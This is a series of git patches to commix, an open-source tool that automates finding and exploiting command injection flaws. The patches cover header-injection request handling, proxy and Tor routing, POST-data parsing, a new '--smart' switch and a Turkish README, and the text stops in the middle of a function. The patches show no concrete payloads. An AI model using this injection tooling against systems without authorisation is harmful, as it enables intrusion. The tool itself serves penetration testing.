payload.replace(_,_.replace(obf_char, "")) return payload if settings.TARGET_OS != settings.OS.WINDOWS: diff --git a/src/utils/settings.py b/src/utils/settings.py index 8342b5830f..719535d7ee 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.9" -REVISION = "2" +REVISION = "3" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: diff --git a/src/utils/update.py b/src/utils/update.py index 10dd38d3ed..7be767c008 100755 --- a/src/utils/update.py +++ b/src/utils/update.py @@ -133,9 +133,9 @@ def check_for_update(): if "VERSION_NUM = " in line: update_version = line.replace("VERSION_NUM = ", "").replace("\"", "") break - if (int(settings.VERSION_NUM.replace(".","")[:2]) < int(update_version.replace(".","")[:2])) or \ - ((int(settings.VERSION_NUM.replace(".","")[:2]) == int(update_version.replace(".","")[:2])) and \ - int(settings.VERSION_NUM.replace(".","")[2:]) < int(update_version.replace(".","")[2:])): + if (int(settings.VERSION_NUM.replace(".", "")[:2]) < int(update_version.replace(".", "")[:2])) or \ + ((int(settings.VERSION_NUM.replace(".", "")[:2]) == int(update_version.replace(".", "")[:2])) and \ + int(settings.VERSION_NUM.replace(".", "")[2:]) < int(update_version.replace(".", "")[2:])): while True: message = "Do you want to update to the latest version now? [Y/n] > " do_update = common.read_input(message, default="Y", check_batch=True) @@ -215,13 +215,13 @@ def check_unicorn_version(current_version): for line in latest_version: line = line.rstrip() if "Magic Unicorn Attack Vector v" in line: - latest_version = line.replace("Magic Unicorn Attack Vector v", "").replace(settings.SINGLE_WHITESPACE, "").replace("-","").replace("\"","").replace(")","") + latest_version = line.replace("Magic Unicorn Attack Vector v", "").replace(settings.SINGLE_WHITESPACE, "").replace("-", "").replace("\"", "").replace(")", "") break if len(current_version) == 0 or \ - (int(current_version.replace(".","")[:2]) < int(latest_version.replace(".","")[:2])) or \ - ((int(current_version.replace(".","")[:2]) == int(latest_version.replace(".","")[:2])) and \ - int(current_version.replace(".","")[2:]) < int(latest_version.replace(".","")[2:])): + (int(current_version.replace(".", "")[:2]) < int(latest_version.replace(".", "")[:2])) or \ + ((int(current_version.replace(".", "")[:2]) == int(latest_version.replace(".", "")[:2])) and \ + int(current_version.replace(".", "")[2:]) < int(latest_version.replace(".", "")[2:])): if len(current_version) != 0: warn_msg = "Current version of TrustedSec's Magic Unicorn (" + current_version + ") seems to be out-of-date." From cb16919f8b5836f336b68ee57a632db4d0b6e799 Mon Sep 17 00:00:00 2001 From: Kazgangap <90972683+Kazgangap@users.noreply.github.com> Date: Fri, 8 Sep 2023 10:00:00 +0300 Subject: [PATCH 338/560] Turkish translation added --- doc/translations/README-tr-TR.md | 51 ++++++++++++++++++++++++++++++++ 1 file changed, 51 insertions(+) create mode 100644 doc/translations/README-tr-TR.md diff --git a/doc/translations/README-tr-TR.md b/doc/translations/README-tr-TR.md new file mode 100644 index 0000000000..869ce65dcd --- /dev/null +++ b/doc/translations/README-tr-TR.md @@ -0,0 +1,51 @@ + +

+ CommixProject +

+ Builds Tests + Python 2.6|2.7|3.x + GPLv3 License + GitHub closed issues + Twitter +

+

+ + +**Commix** ([comm]and [i]njection e[x]ploiter'ın kısaltması), **[Anastasios Stasinopoulos](https://github.com/stasinopoulos)** (**[@ancst](https://twitter.com/ancst)**) tarafından yazılan ve **[Komut enjeksiyonu](https://www.owasp.org/index.php/Command_Injection)** güvenlik açıklarının tespitini ve istismarını otomatikleştiren açık kaynaklı bir sızma testi aracıdır. + +![Screenshot](https://commixproject.com/images/background.png) + +Wiki'deki bazı özellikleri gösteren [ekran görüntüleri koleksiyonunu](https://github.com/commixproject/commix/wiki/Screenshots) ziyaret edebilirsiniz. + + +## Kurulum + +Resmi Git deposunu klonlayarak commix'i herhangi bir platformda indirebilirsiniz : + + + $ git clone https://github.com/commixproject/commix.git commix + +Alternatif olarak, en son [tarball](https://github.com/commixproject/commix/tarball/master) veya [zipball](https://github.com/commixproject/commix/zipball/master) olarak indirebilirsiniz. + +*__Not:__ **[Python](http://www.python.org/download/)** (sürüm **2.6**, **2.7** veya **3.x**) commix'i çalıştırmak için gereklidir.* + + + + + + +## Kullanım + +Seçeneklerinizi görmek ve yardım almak için aşağıdaki komutu girin: + + $ python commix.py -h + +Mevcut commix seçenekleri veya commix'in nasıl kullanılacağına dair temel fikirler hakkında bilgi edinmek amacıyla **[kullanım kılavuzu](https://github.com/commixproject/commix/wiki/Usage)**, **[kullanım örnekleri](https://github.com/commixproject/commix/wiki/Usage-Examples)** ve **[filtre bypassları](https://github.com/commixproject/commix/wiki/Filters-Bypasses)** wiki sayfalarını ziyaret edebilirsiniz. + + +## Links + +* Kullanım kılavuzu: https://github.com/commixproject/commix/wiki +* Sorun takibi: https://github.com/commixproject/commix/issues + + From 5fc4f2a388716d980743f0fd0ad9b5b3a822962d Mon Sep 17 00:00:00 2001 From: Kazgangap <90972683+Kazgangap@users.noreply.github.com> Date: Fri, 8 Sep 2023 10:02:04 +0300 Subject: [PATCH 339/560] Update README-tr-TR.md --- doc/translations/README-tr-TR.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/doc/translations/README-tr-TR.md b/doc/translations/README-tr-TR.md index 869ce65dcd..a2d1c339ac 100644 --- a/doc/translations/README-tr-TR.md +++ b/doc/translations/README-tr-TR.md @@ -43,7 +43,7 @@ Seçeneklerinizi görmek ve yardım almak için aşağıdaki komutu girin: Mevcut commix seçenekleri veya commix'in nasıl kullanılacağına dair temel fikirler hakkında bilgi edinmek amacıyla **[kullanım kılavuzu](https://github.com/commixproject/commix/wiki/Usage)**, **[kullanım örnekleri](https://github.com/commixproject/commix/wiki/Usage-Examples)** ve **[filtre bypassları](https://github.com/commixproject/commix/wiki/Filters-Bypasses)** wiki sayfalarını ziyaret edebilirsiniz. -## Links +## Linkler * Kullanım kılavuzu: https://github.com/commixproject/commix/wiki * Sorun takibi: https://github.com/commixproject/commix/issues From 37022bccbb09393d620281fe859416657c1b1a4c Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 11 Sep 2023 08:41:59 +0300 Subject: [PATCH 340/560] Update regarding commit https://github.com/commixproject/commix/commit/dcf98d648a2d3664432721adbac2a4d80230f0b5 --- README.md | 3 ++- doc/THANKS.md | 1 + 2 files changed, 3 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index a014f7fc26..acde50f1bc 100644 --- a/README.md +++ b/README.md @@ -43,6 +43,7 @@ To get an overview of commix available options, switches and/or basic ideas on h ## Translations +* [Farsi(Persian)](https://github.com/commixproject/commix/blob/master/doc/translations/README-fa-FA.md) * [Greek](https://github.com/commixproject/commix/blob/master/doc/translations/README-gr-GR.md) * [Indonesian](https://github.com/commixproject/commix/blob/master/doc/translations/README-idn-IDN.md) -* [Farsi(Persian)](https://github.com/commixproject/commix/blob/master/doc/translations/README-fa-FA.md) \ No newline at end of file +* [Turkish](https://github.com/commixproject/commix/blob/master/doc/translations/README-tr-TR.md) diff --git a/doc/THANKS.md b/doc/THANKS.md index 08c0cc1482..9fc8ad2be6 100755 --- a/doc/THANKS.md +++ b/doc/THANKS.md @@ -7,6 +7,7 @@ * Thanks [m3g9tr0n](https://twitter.com/m3g9tr0n) for a donation. ## List of individual contributors: +* Thanks [Kazgangap](https://github.com/Kazgangap) for contributing a Turkish translation of README.md. * Thanks [0xFred](https://github.com/0xFred) for contributing code. * Thanks [verfosec](https://github.com/verfosec) for contributing a Farsi(Persian) translation of README.md. * Thanks [daniruiz](https://github.com/daniruiz) for contributing code. From 4356ea85c4fa33d08690faa975505c579ae42489 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sat, 23 Sep 2023 19:18:29 +0300 Subject: [PATCH 341/560] Potential fix for https://github.com/commixproject/commix/issues/861 Minor improvement regarding parsing SOAP/XML POST data --- doc/CHANGELOG.md | 3 +++ src/core/requests/parameters.py | 22 +++++++++++----------- src/utils/settings.py | 2 +- 3 files changed, 15 insertions(+), 12 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index a7e9dd3fac..880ead5dde 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,3 +1,6 @@ +## Version 3.9 (TBA) +* Revised: Minor improvement regarding parsing SOAP/XML POST data. + ## Version 3.8 (2023-08-14) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Revised: Minor improvement regarding parsing raw HTTP request from a file (i.e. `-r` option). diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index ed92072ed3..4d2f8fef87 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -355,7 +355,8 @@ def multi_params_get_value(param, all_params): def vuln_POST_param(parameter, url): if isinstance(parameter, list): parameter = " ".join(parameter) - # JSON data format + + # JSON data format. if settings.IS_JSON: param = re.sub(settings.IGNORE_SPECIAL_CHAR_REGEX, '', parameter.split(settings.INJECT_TAG)[0]) if param: @@ -367,17 +368,16 @@ def vuln_POST_param(parameter, url): vuln_parameter = vuln_parameter[0].split(":")[0] vuln_parameter = ''.join(vuln_parameter) - # XML data format + # XML data format. elif settings.IS_XML: - if re.findall(r"" + settings.INJECT_TAG + "([^>]+)", parameter): - vuln_parameter = re.findall(r"" + settings.INJECT_TAG + "([^>]+)", parameter) - vuln_parameter = re.findall(r"" + "([^]+)" + settings.INJECT_TAG, parameter)[0] - vuln_parameter = ''.join(vuln_parameter) + parameters = list(parameter.replace(">" + settings.END_LINE[1] + "'), '', item) + _ = (re.search('<(.*)>' + result + '', item)) + if (_.groups()[0]) == (_.groups()[1]): + vuln_parameter = ''.join(_.groups()[0]) + settings.TESTABLE_VALUE = result.split(settings.INJECT_TAG)[0] # Regular POST data format. else: diff --git a/src/utils/settings.py b/src/utils/settings.py index 719535d7ee..ae4e96576d 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.9" -REVISION = "3" +REVISION = "4" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 7f85ce55e6cba33404188d023cc5e419df17304d Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 29 Sep 2023 09:39:37 +0300 Subject: [PATCH 342/560] Minor update regarding commit: https://github.com/commixproject/commix/commit/4356ea85c4fa33d08690faa975505c579ae42489 --- src/core/requests/parameters.py | 5 +++++ src/utils/settings.py | 2 +- 2 files changed, 6 insertions(+), 1 deletion(-) diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 4d2f8fef87..5ecaeaa2d8 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -377,6 +377,11 @@ def vuln_POST_param(parameter, url): _ = (re.search('<(.*)>' + result + '', item)) if (_.groups()[0]) == (_.groups()[1]): vuln_parameter = ''.join(_.groups()[0]) + if settings.WILDCARD_CHAR_APPLIED: + try: + settings.POST_WILDCARD_CHAR = result.split(settings.INJECT_TAG)[1] + except Exception: + pass settings.TESTABLE_VALUE = result.split(settings.INJECT_TAG)[0] # Regular POST data format. diff --git a/src/utils/settings.py b/src/utils/settings.py index ae4e96576d..1490769113 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.9" -REVISION = "4" +REVISION = "5" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 4b12765cf6afb08837f4bce2c6e1c194159f5499 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 6 Oct 2023 20:03:06 +0300 Subject: [PATCH 343/560] Minor update --- src/core/requests/parameters.py | 9 +++++++-- src/utils/settings.py | 2 +- 2 files changed, 8 insertions(+), 3 deletions(-) diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 5ecaeaa2d8..d328382c62 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -364,9 +364,14 @@ def vuln_POST_param(parameter, url): param = param.split("(")[1] vuln_parameter = param.split(",")[-1:] if ":" in vuln_parameter[0]: + result = vuln_parameter[0].split(":")[0] + if settings.WILDCARD_CHAR_APPLIED: + try: + settings.POST_WILDCARD_CHAR = re.sub(settings.IGNORE_SPECIAL_CHAR_REGEX, '', parameter.split(settings.INJECT_TAG)[1]).split(",")[0] + except Exception: + pass settings.TESTABLE_VALUE = vuln_parameter[0].split(":")[1] - vuln_parameter = vuln_parameter[0].split(":")[0] - vuln_parameter = ''.join(vuln_parameter) + vuln_parameter = ''.join(result) # XML data format. elif settings.IS_XML: diff --git a/src/utils/settings.py b/src/utils/settings.py index 1490769113..62cefa455a 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.9" -REVISION = "5" +REVISION = "6" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From efb6e21fb2bc5b7de9fc5db47e1a892d7296d4ac Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 13 Oct 2023 09:52:11 +0300 Subject: [PATCH 344/560] Minor update --- src/core/requests/parameters.py | 1 + src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index d328382c62..f38d91dd15 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -77,6 +77,7 @@ def multi_params_get_value(parameter): # Split parameters try: multi_parameters = parameters.split(settings.PARAMETER_DELIMITER) + multi_parameters = [x for x in multi_parameters if x] except ValueError as err_msg: print(settings.print_critical_msg(err_msg)) raise SystemExit() diff --git a/src/utils/settings.py b/src/utils/settings.py index 62cefa455a..0334e7f991 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.9" -REVISION = "6" +REVISION = "7" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From fc6e8a997702e65640f5b340048cbf56bb7c7915 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 19 Oct 2023 08:15:56 +0300 Subject: [PATCH 345/560] Added switch `--smart` for conducting through tests only in case of positive heuristic(s). --- doc/CHANGELOG.md | 1 + src/core/injections/controller/controller.py | 73 +++++++++++--------- src/utils/menu.py | 6 ++ src/utils/settings.py | 5 +- 4 files changed, 51 insertions(+), 34 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 880ead5dde..d5e82addcc 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.9 (TBA) +* Added: New switch `--smart` for conducting through tests only in case of positive heuristic(s). * Revised: Minor improvement regarding parsing SOAP/XML POST data. ## Version 3.8 (2023-08-14) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 1846a1892e..22357daeb0 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -309,7 +309,7 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time info_msg = "Setting " + settings.CHECKING_PARAMETER + " for tests." print(settings.print_info_msg(info_msg)) - + if menu.options.skip_heuristics: if settings.VERBOSITY_LEVEL != 0: debug_msg = "Skipping heuristic (basic) tests to the " + settings.CHECKING_PARAMETER + "." @@ -331,44 +331,51 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time checks.skip_command_injection_tests() if not settings.IDENTIFIED_COMMAND_INJECTION and not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO: + settings.HEURISTIC_TEST.POSITIVE = False warn_msg = "Heuristic (basic) tests shows that " warn_msg += settings.CHECKING_PARAMETER + " might not be injectable." print(settings.print_bold_warning_msg(warn_msg)) - if menu.options.failed_tries and \ - menu.options.tech and not "f" in menu.options.tech and not \ - menu.options.failed_tries: - warn_msg = "Due to the provided (unsuitable) injection technique" - warn_msg += "s"[len(menu.options.tech) == 1:][::-1] + ", " - warn_msg += "the option '--failed-tries' will be ignored." - print(settings.print_warning_msg(warn_msg) + Style.RESET_ALL) - - # Procced with file-based semiblind command injection technique, - # once the user provides the path of web server's root directory. - if menu.options.web_root and \ - menu.options.tech and not "f" in menu.options.tech: - if not menu.options.web_root.endswith("/"): - menu.options.web_root = menu.options.web_root + "/" - if checks.procced_with_file_based_technique(): - menu.options.tech = "f" - - if settings.SKIP_COMMAND_INJECTIONS: - dynamic_code_evaluation_technique(url, timesec, filename, http_request_method) + if (menu.options.smart and not settings.HEURISTIC_TEST.POSITIVE) or (menu.options.smart and menu.options.skip_heuristics): + info_msg = "Skipping " + info_msg += settings.CHECKING_PARAMETER + "." + print(settings.print_info_msg(info_msg)) + settings.HEURISTIC_TEST.POSITIVE = True else: - classic_command_injection_technique(url, timesec, filename, http_request_method) - if not settings.IDENTIFIED_COMMAND_INJECTION: + if menu.options.failed_tries and \ + menu.options.tech and not "f" in menu.options.tech and not \ + menu.options.failed_tries: + warn_msg = "Due to the provided (unsuitable) injection technique" + warn_msg += "s"[len(menu.options.tech) == 1:][::-1] + ", " + warn_msg += "the option '--failed-tries' will be ignored." + print(settings.print_warning_msg(warn_msg) + Style.RESET_ALL) + + # Procced with file-based semiblind command injection technique, + # once the user provides the path of web server's root directory. + if menu.options.web_root and \ + menu.options.tech and not "f" in menu.options.tech: + if not menu.options.web_root.endswith("/"): + menu.options.web_root = menu.options.web_root + "/" + if checks.procced_with_file_based_technique(): + menu.options.tech = "f" + + if settings.SKIP_COMMAND_INJECTIONS: dynamic_code_evaluation_technique(url, timesec, filename, http_request_method) - timebased_command_injection_technique(url, timesec, filename, http_request_method, url_time_response) - filebased_command_injection_technique(url, timesec, filename, http_request_method, url_time_response) - - # All injection techniques seems to be failed! - if settings.CLASSIC_STATE == settings.EVAL_BASED_STATE == settings.TIME_BASED_STATE == settings.FILE_BASED_STATE == False : - warn_msg = "The tested" - if header_name != " cookie" and the_type != " HTTP header": - warn_msg += " " + str(http_request_method) + "" - warn_msg += str(the_type) + str(header_name) + str(check_parameter) - warn_msg += " does not seem to be injectable." - print(settings.print_bold_warning_msg(warn_msg)) + else: + classic_command_injection_technique(url, timesec, filename, http_request_method) + if not settings.IDENTIFIED_COMMAND_INJECTION: + dynamic_code_evaluation_technique(url, timesec, filename, http_request_method) + timebased_command_injection_technique(url, timesec, filename, http_request_method, url_time_response) + filebased_command_injection_technique(url, timesec, filename, http_request_method, url_time_response) + + # All injection techniques seems to be failed! + if settings.CLASSIC_STATE == settings.EVAL_BASED_STATE == settings.TIME_BASED_STATE == settings.FILE_BASED_STATE == False : + warn_msg = "The tested" + if header_name != " cookie" and the_type != " HTTP header": + warn_msg += " " + str(http_request_method) + "" + warn_msg += str(the_type) + str(header_name) + str(check_parameter) + warn_msg += " does not seem to be injectable." + print(settings.print_bold_warning_msg(warn_msg)) """ Inject HTTP headers (User-agent / Referer / Host) (if level > 2). diff --git a/src/utils/menu.py b/src/utils/menu.py index de31661fb1..732b56be58 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -546,6 +546,12 @@ def banner(): default=len(settings.SEPARATORS_LVL1) - 1, help="Set a number of failed injection tries, in file-based technique.") +detection.add_option("--smart", + action="store_true", + dest="smart", + default=False, + help="Perform thorough tests only if positive heuristic(s).") + # Miscellaneous options misc = OptionGroup(parser, Style.BRIGHT + Style.UNDERLINE + "Miscellaneous" + Style.RESET_ALL) diff --git a/src/utils/settings.py b/src/utils/settings.py index 0334e7f991..a7f2f94e93 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.9" -REVISION = "7" +REVISION = "8" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -303,6 +303,9 @@ def sys_argv_errors(): CMD_NUL = "" +class HEURISTIC_TEST(object): + POSITIVE = True + #Basic heuristic checks for command injections RAND_A = random.randint(1,10000) RAND_B = random.randint(1,10000) From 0fe1ef5f72411a8490943acb2ef791d049572d44 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 22 Oct 2023 09:59:57 +0300 Subject: [PATCH 346/560] Minor update --- src/core/main.py | 5 +++++ src/utils/settings.py | 2 +- 2 files changed, 6 insertions(+), 1 deletion(-) diff --git a/src/core/main.py b/src/core/main.py index d54e4c705b..918fe342c7 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -643,6 +643,11 @@ def main(filename, url): # Check if defined "--proxy" option. if menu.options.proxy: + if menu.options.tor: + err_msg = "The switch '--tor' is incompatible with option '--proxy'." + print(settings.print_critical_msg(err_msg)) + raise SystemExit() + for match in re.finditer(settings.PROXY_REGEX, menu.options.proxy): _, proxy_scheme, proxy_address, proxy_port = match.groups() if proxy_scheme: diff --git a/src/utils/settings.py b/src/utils/settings.py index a7f2f94e93..a91ffa0091 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.9" -REVISION = "8" +REVISION = "9" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 982156017cc19fbd3ed05e23af05e1e02709a962 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 23 Oct 2023 08:36:30 +0300 Subject: [PATCH 347/560] Minor improvement regarding parsing HTTP requests through HTTP proxy (i.e `--proxy` option). --- doc/CHANGELOG.md | 1 + src/core/requests/requests.py | 185 +++++++++++----------------------- src/utils/settings.py | 2 +- 3 files changed, 63 insertions(+), 125 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index d5e82addcc..d6de249a72 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.9 (TBA) +* Revised: Minor improvement regarding parsing HTTP requests through HTTP proxy (i.e `--proxy` option). * Added: New switch `--smart` for conducting through tests only in case of positive heuristic(s). * Revised: Minor improvement regarding parsing SOAP/XML POST data. diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index fbbb33d92c..a983c343e4 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -388,8 +388,7 @@ def get_request_response(request): headers.check_http_traffic(request) if menu.options.proxy: try: - proxy = request.set_proxy(menu.options.proxy, settings.PROXY_SCHEME) - response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) + response = proxy.use_proxy(request) except Exception as err_msg: response = request_failed(err_msg) elif menu.options.tor: @@ -410,12 +409,7 @@ def get_request_response(request): """ def cookie_injection(url, vuln_parameter, payload): - def inject_cookie(url, vuln_parameter, payload, proxy): - if proxy == None: - opener = _urllib.request.build_opener() - else: - opener = _urllib.request.build_opener(proxy) - + def inject_cookie(url, vuln_parameter, payload): if settings.TIME_RELATIVE_ATTACK : payload = _urllib.parse.quote(payload) @@ -436,7 +430,13 @@ def inject_cookie(url, vuln_parameter, payload, proxy): request.add_header('Cookie', menu.options.cookie.replace(settings.INJECT_TAG, payload)) try: headers.check_http_traffic(request) - response = opener.open(request) + if menu.options.proxy: + response = proxy.use_proxy(request) + # Check if defined Tor (--tor option). + elif menu.options.tor: + response = tor.use_tor(request) + else: + response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) return response except ValueError: pass @@ -446,24 +446,10 @@ def inject_cookie(url, vuln_parameter, payload, proxy): end = 0 start = time.time() - proxy = None - if menu.options.proxy: - try: - proxy = _urllib.request.ProxyHandler({settings.SCHEME : menu.options.proxy}) - response = inject_cookie(url, vuln_parameter, payload, proxy) - except Exception as err_msg: - response = request_failed(err_msg) - elif menu.options.tor: - try: - proxy = _urllib.request.ProxyHandler({settings.TOR_HTTP_PROXY_SCHEME:settings.TOR_HTTP_PROXY_IP + ":" + settings.TOR_HTTP_PROXY_PORT}) - response = inject_cookie(url, vuln_parameter, payload, proxy) - except Exception as err_msg: - response = request_failed(err_msg) - else: - try: - response = inject_cookie(url, vuln_parameter, payload, proxy) - except Exception as err_msg: - response = request_failed(err_msg) + try: + response = inject_cookie(url, vuln_parameter, payload) + except Exception as err_msg: + response = request_failed(err_msg) if settings.TIME_RELATIVE_ATTACK : end = time.time() @@ -477,12 +463,7 @@ def inject_cookie(url, vuln_parameter, payload, proxy): """ def user_agent_injection(url, vuln_parameter, payload): - def inject_user_agent(url, vuln_parameter, payload, proxy): - if proxy == None: - opener = _urllib.request.build_opener() - else: - opener = _urllib.request.build_opener(proxy) - + def inject_user_agent(url, vuln_parameter, payload): # Check if defined POST data if menu.options.data: menu.options.data = settings.USER_DEFINED_POST_DATA @@ -496,7 +477,13 @@ def inject_user_agent(url, vuln_parameter, payload, proxy): request.add_header('User-Agent', payload) try: headers.check_http_traffic(request) - response = opener.open(request) + if menu.options.proxy: + response = proxy.use_proxy(request) + # Check if defined Tor (--tor option). + elif menu.options.tor: + response = tor.use_tor(request) + else: + response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) return response except ValueError: pass @@ -506,24 +493,10 @@ def inject_user_agent(url, vuln_parameter, payload, proxy): end = 0 start = time.time() - proxy = None - if menu.options.proxy: - try: - proxy = _urllib.request.ProxyHandler({settings.SCHEME : menu.options.proxy}) - response = inject_user_agent(url, vuln_parameter, payload, proxy) - except Exception as err_msg: - response = request_failed(err_msg) - elif menu.options.tor: - try: - proxy = _urllib.request.ProxyHandler({settings.TOR_HTTP_PROXY_SCHEME:settings.TOR_HTTP_PROXY_IP + ":" + settings.TOR_HTTP_PROXY_PORT}) - response = inject_user_agent(url, vuln_parameter, payload, proxy) - except Exception as err_msg: - response = request_failed(err_msg) - else: - try: - response = inject_user_agent(url, vuln_parameter, payload, proxy) - except Exception as err_msg: - response = request_failed(err_msg) + try: + response = inject_user_agent(url, vuln_parameter, payload) + except Exception as err_msg: + response = request_failed(err_msg) if settings.TIME_RELATIVE_ATTACK : end = time.time() @@ -537,12 +510,7 @@ def inject_user_agent(url, vuln_parameter, payload, proxy): """ def referer_injection(url, vuln_parameter, payload): - def inject_referer(url, vuln_parameter, payload, proxy): - if proxy == None: - opener = _urllib.request.build_opener() - else: - opener = _urllib.request.build_opener(proxy) - + def inject_referer(url, vuln_parameter, payload): # Check if defined POST data if menu.options.data: menu.options.data = settings.USER_DEFINED_POST_DATA @@ -556,7 +524,13 @@ def inject_referer(url, vuln_parameter, payload, proxy): request.add_header('Referer', payload) try: headers.check_http_traffic(request) - response = opener.open(request) + if menu.options.proxy: + response = proxy.use_proxy(request) + # Check if defined Tor (--tor option). + elif menu.options.tor: + response = tor.use_tor(request) + else: + response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) return response except ValueError: pass @@ -566,25 +540,10 @@ def inject_referer(url, vuln_parameter, payload, proxy): end = 0 start = time.time() - proxy = None - # Check if defined any HTTP Proxy. - if menu.options.proxy: - try: - proxy = _urllib.request.ProxyHandler({settings.SCHEME : menu.options.proxy}) - response = inject_referer(url, vuln_parameter, payload, proxy) - except Exception as err_msg: - response = request_failed(err_msg) - elif menu.options.tor: - try: - proxy = _urllib.request.ProxyHandler({settings.TOR_HTTP_PROXY_SCHEME:settings.TOR_HTTP_PROXY_IP + ":" + settings.TOR_HTTP_PROXY_PORT}) - response = inject_referer(url, vuln_parameter, payload, proxy) - except Exception as err_msg: - response = request_failed(err_msg) - else: - try: - response = inject_referer(url, vuln_parameter, payload, proxy) - except Exception as err_msg: - response = request_failed(err_msg) + try: + response = inject_referer(url, vuln_parameter, payload) + except Exception as err_msg: + response = request_failed(err_msg) if settings.TIME_RELATIVE_ATTACK : end = time.time() @@ -600,7 +559,7 @@ def host_injection(url, vuln_parameter, payload): payload = _urllib.parse.urlparse(url).netloc + payload - def inject_host(url, vuln_parameter, payload, proxy): + def inject_host(url, vuln_parameter, payload): if proxy == None: opener = _urllib.request.build_opener() @@ -620,7 +579,13 @@ def inject_host(url, vuln_parameter, payload, proxy): request.add_header('Host', payload) try: headers.check_http_traffic(request) - response = opener.open(request) + if menu.options.proxy: + response = proxy.use_proxy(request) + # Check if defined Tor (--tor option). + elif menu.options.tor: + response = tor.use_tor(request) + else: + response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) return response except ValueError: pass @@ -630,24 +595,10 @@ def inject_host(url, vuln_parameter, payload, proxy): end = 0 start = time.time() - proxy = None - if menu.options.proxy: - try: - proxy = _urllib.request.ProxyHandler({settings.SCHEME : menu.options.proxy}) - response = inject_host(url, vuln_parameter, payload, proxy) - except Exception as err_msg: - response = request_failed(err_msg) - elif menu.options.tor: - try: - proxy = _urllib.request.ProxyHandler({settings.TOR_HTTP_PROXY_SCHEME:settings.TOR_HTTP_PROXY_IP + ":" + settings.TOR_HTTP_PROXY_PORT}) - response = inject_host(url, vuln_parameter, payload, proxy) - except Exception as err_msg: - response = request_failed(err_msg) - else: - try: - response = inject_host(url, vuln_parameter, payload, proxy) - except Exception as err_msg: - response = request_failed(err_msg) + try: + response = inject_host(url, vuln_parameter, payload) + except Exception as err_msg: + response = request_failed(err_msg) if settings.TIME_RELATIVE_ATTACK : end = time.time() @@ -661,13 +612,7 @@ def inject_host(url, vuln_parameter, payload, proxy): """ def custom_header_injection(url, vuln_parameter, payload): - def inject_custom_header(url, vuln_parameter, payload, proxy): - - if proxy == None: - opener 